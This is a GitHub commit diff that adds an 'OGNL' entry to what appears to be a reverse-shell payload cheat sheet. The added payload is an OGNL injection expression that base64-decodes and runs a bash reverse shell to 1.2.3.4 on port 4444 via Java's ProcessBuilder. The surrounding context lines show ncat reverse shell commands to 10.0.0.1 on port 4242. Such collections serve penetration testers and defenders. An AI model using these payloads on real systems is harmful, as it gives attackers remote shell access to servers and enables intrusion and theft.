Adding reverse shell payload for OGNL

This commit is contained in:
ToastyCat 2024-01-05 09:50:43 +01:00 committed by GitHub
parent cbc6e78d2a
commit 3d9363fdc9
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -22,6 +22,7 @@
* [Netcat BusyBox](#netcat-busybox) * [Netcat BusyBox](#netcat-busybox)
* [Netcat Traditional](#netcat-traditional) * [Netcat Traditional](#netcat-traditional)
* [NodeJS](#nodejs) * [NodeJS](#nodejs)
* [OGNL](#ognl)
* [OpenSSL](#openssl) * [OpenSSL](#openssl)
* [Perl](#perl) * [Perl](#perl)
* [PHP](#php) * [PHP](#php)
@ -252,6 +253,12 @@ ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash ncat --udp 10.0.0.1 4242 -e /bin/bash
``` ```
### OGNL
```java
(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40LzQ0NDQgMD4mMScK | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start())
```
### OpenSSL ### OpenSSL
Attacker: Attacker: